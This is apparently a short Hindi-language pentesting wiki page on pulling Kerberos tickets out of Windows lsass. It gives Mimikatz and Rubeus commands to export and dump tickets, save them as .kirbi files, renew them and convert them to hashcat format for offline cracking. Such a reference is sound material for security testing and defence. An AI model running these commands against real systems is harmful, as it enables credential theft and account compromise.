Harvesting tickets from Windows

Reading time: 3 minutes

Windows में टिकटों का प्रबंधन और संग्रहण lsass (Local Security Authority Subsystem Service) प्रक्रिया द्वारा किया जाता है, जो सुरक्षा नीतियों को संभालने के लिए जिम्मेदार है। इन टिकटों को निकालने के लिए, lsass प्रक्रिया के साथ इंटरफेस करना आवश्यक है। एक गैर-प्रशासकीय उपयोगकर्ता केवल अपने स्वयं के टिकटों तक पहुँच सकता है, जबकि एक प्रशासक को सिस्टम पर सभी टिकटों को निकालने का विशेषाधिकार होता है। ऐसे कार्यों के लिए, Mimikatz और Rubeus उपकरणों का व्यापक रूप से उपयोग किया जाता है, प्रत्येक विभिन्न कमांड और कार्यक्षमताएँ प्रदान करता है।

Mimikatz

Mimikatz एक बहुपरकारी उपकरण है जो Windows सुरक्षा के साथ इंटरैक्ट कर सकता है। इसका उपयोग केवल टिकट निकालने के लिए नहीं, बल्कि विभिन्न अन्य सुरक्षा-संबंधित कार्यों के लिए भी किया जाता है।

# Extracting tickets using Mimikatz
sekurlsa::tickets /export

Rubeus

Rubeus एक ऐसा उपकरण है जो विशेष रूप से Kerberos इंटरैक्शन और हेरफेर के लिए तैयार किया गया है। इसका उपयोग टिकट निकालने और संभालने के लिए किया जाता है, साथ ही अन्य Kerberos-संबंधित गतिविधियों के लिए भी।

# Dumping all tickets using Rubeus
.\Rubeus dump
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Listing all tickets
.\Rubeus.exe triage

# Dumping a specific ticket by LUID
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

# Renewing a ticket
.\Rubeus.exe renew /ticket:<BASE64_TICKET>

# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>

इन कमांड का उपयोग करते समय, सुनिश्चित करें कि <BASE64_TICKET> और <luid> जैसे प्लेसहोल्डर्स को वास्तविक Base64 एन्कोडेड टिकट और लॉगऑन आईडी से क्रमशः बदलें। ये उपकरण टिकट प्रबंधन और Windows के सुरक्षा तंत्रों के साथ बातचीत के लिए व्यापक कार्यक्षमता प्रदान करते हैं।

संदर्भ

• https://www.tarlogic.com/en/blog/how-to-attack-kerberos/